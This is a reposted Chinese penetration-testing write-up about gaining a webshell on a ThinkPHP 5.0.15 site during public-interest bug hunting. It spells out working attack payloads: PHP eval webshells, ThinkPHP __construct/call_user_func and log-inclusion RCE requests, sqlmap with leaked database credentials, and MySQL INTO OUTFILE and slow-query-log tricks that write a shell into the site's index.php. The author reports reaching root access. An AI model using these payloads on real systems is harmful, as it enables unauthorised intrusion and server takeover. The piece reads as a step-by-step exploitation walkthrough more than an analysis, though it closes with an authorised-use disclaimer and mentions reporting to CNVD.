渗透测试之一次TP框架的公益SRC挖掘

admin 2023年8月8日15:28:41评论45 views字数 2453阅读8分10秒阅读模式

昨天的用的Druid泄露的session进后台拿shell还是觉得不太过瘾,也没学到啥新的知识。于是乎今天又找了几个新的站点来试试,哈哈哈哈哈哈。

这次操作纯属菜鸡练手,哪些地方可以改进还希望大佬们指出一下

目标站点:tp5.0.15+php7

1 · 站点后台并发现是tp框架

首先找到的是站点后台,但是有验证码。

渗透测试之一次TP框架的公益SRC挖掘

扫目录的时候没有 404.html,说明站点没有设置统一的报错页面,那么应该就可以人为制造报错来查看框架。

果然是熟悉的tp框架,直接祭上神器碰碰运气,看能不能碰到tp版本的漏洞

渗透测试之一次TP框架的公益SRC挖掘

工具显示存在多个漏洞,其中有部分属于误报。

渗透测试之一次TP框架的公益SRC挖掘

2 · 尝试获得shell

尝试使用工具自带的写马功能,但是实际操作之后发现无法连接。下载文件查看后发现“>” 和“<” 变成了html中的实体字符。

学过一些java,本来准备查看工具的源码,看看是自带的马的问题还是传输到服务器之后被转义了。但是github上的源码文件是空的。

工具自带的木马:
&lt;?php @eval($_POST['showshell'])?&gt;

尝试使用工具爆出的数据库账号密码加上 --os-shell 写入shell

sqlmap -d mysql://name:passwd@ip:port/dbs_name

最后以失败告终。。。。。

渗透测试之一次TP框架的公益SRC挖掘

常规使用--os-shell的前提有三个:

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

直接连接数据库查看能不能找到管理员的账号和密码

找到一个像是主机的账号、密码表。

渗透测试之一次TP框架的公益SRC挖掘

拿到了pe_admin表中的内容后,尝试通过ssh连接服务器。但是发现这台服务器并没有ssh端口,这就很疑惑了

nmap -sV -n ip

感觉自己有点傻,为什么不直接去网站的数据库找网站的后台登陆账号密码呢。

渗透测试之一次TP框架的公益SRC挖掘

最后成功进入后台管理系统,不过这后台功能有点少啊,根本找不到上传点。看来还得想别的办法。

渗透测试之一次TP框架的公益SRC挖掘

3 · 从TP框架入手

看来只能转换一下思路,从tp框架入手了。

这里直接 phpinfo 看一下 disable_functions()禁用了哪些函数。phpinfo的成功执行也证明是有RCE漏洞的

渗透测试之一次TP框架的公益SRC挖掘

在尝试了几种方法之后发现无果,而且由于 php版本为 7.3 导致无法使用 assert 来执行命令。

自己不会没关系,网上肯定有人会。这里开始去网上搜各个大佬的方法。最终经过各种尝试,把希望寄在了将马写在日志或者session里

写入shell文件到日志中

/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['shell']); ?>

包含日志文件getshell

/index.php?s=captcha
_method=__construct&method=get&filter[]=think__include_file&server[]=-1&get[]=../runtime/log/202201/25.log&shell=phpinfo();

经测试,成功写入shell,但是此时只有极小的权限,并且由于 disable_function 的原因,虚拟终端无法使用。

还有一种方法是可以使用加载远程文件的方式去包含真正的shell。孩子要是有一台服务器就好了

渗透测试之一次TP框架的公益SRC挖掘

渗透测试之一次TP框架的公益SRC挖掘

4 · 通过MYSQL写入shell

突然想起来手里还有数据库的账号和密码,可以尝试使用mysql手动写shell。

查看用户及权限
SELECT user,host FROM mysql.user;

渗透测试之一次TP框架的公益SRC挖掘

站点的绝对路径已经通过tp报错页和phpinfo拿到了

select '<?php  @eval($_POST[showshell]);?>' into outfile 'D:wwwrootxxxxxxxxpublicindex.php';

渗透测试之一次TP框架的公益SRC挖掘

报错是因为mysql配置的 --secure-file-priv 默认值为 null,而只有当其值非空的时候才才能使用 into oufile 写入文件。


关于慢查询:

当用户操作的查询语句超过系统的默认时间时,系统就会将此条语句纪录到慢查询日志中。系统一般默认的时间是10秒


这里我们使用慢查询绕过 security-file-priv 写入shell:

查询  slow query log 状态
SHOW VARIABLES like '%slow_query_log%';

渗透测试之一次TP框架的公益SRC挖掘

可以看到处于默认的关闭状态。

启用慢查询:
set global slow_query_log=1;

渗透测试之一次TP框架的公益SRC挖掘


指定慢查询的日志文件路径及文件名,

SET GLOBAL slow_query_log_file='
D:wwwrootxxxxxpublicindex.php ';

写入shell

select '<?php eval($_GET[showshell])?>' or SLEEP(11);

渗透测试之一次TP框架的公益SRC挖掘

成功写入。

这里遇到一个小问题,windows上的蚁剑和哥斯拉不知道为什么连不上去。可能是我这边的环境变量有问题,最后使用kali里的蚁剑成功连接shell并获得root权限

渗透测试之一次TP框架的公益SRC挖掘

最后也是一个权重为0的站交不了补天,顺利提交两个src到cnvd。虽然没能提交到补天,不过也重在练手的过程吧。

本公众号云息信安所提供的信息以及工具仅供安全测试人员用于授权测试,禁止用于未授权测试,请勿非法使用!!!造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号云息信安及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

———————————————————————————
版权声明:版权声明:本文为FreeBuf.COM博主「k1115h0t」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明
原文链接:
https://www.freebuf.com/vuls/320975.html

原文始发于微信公众号(云息信安):渗透测试之一次TP框架的公益SRC挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月8日15:28:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试之一次TP框架的公益SRC挖掘http://cn-sec.com/archives/1941155.html

发表评论

匿名网友 填写信息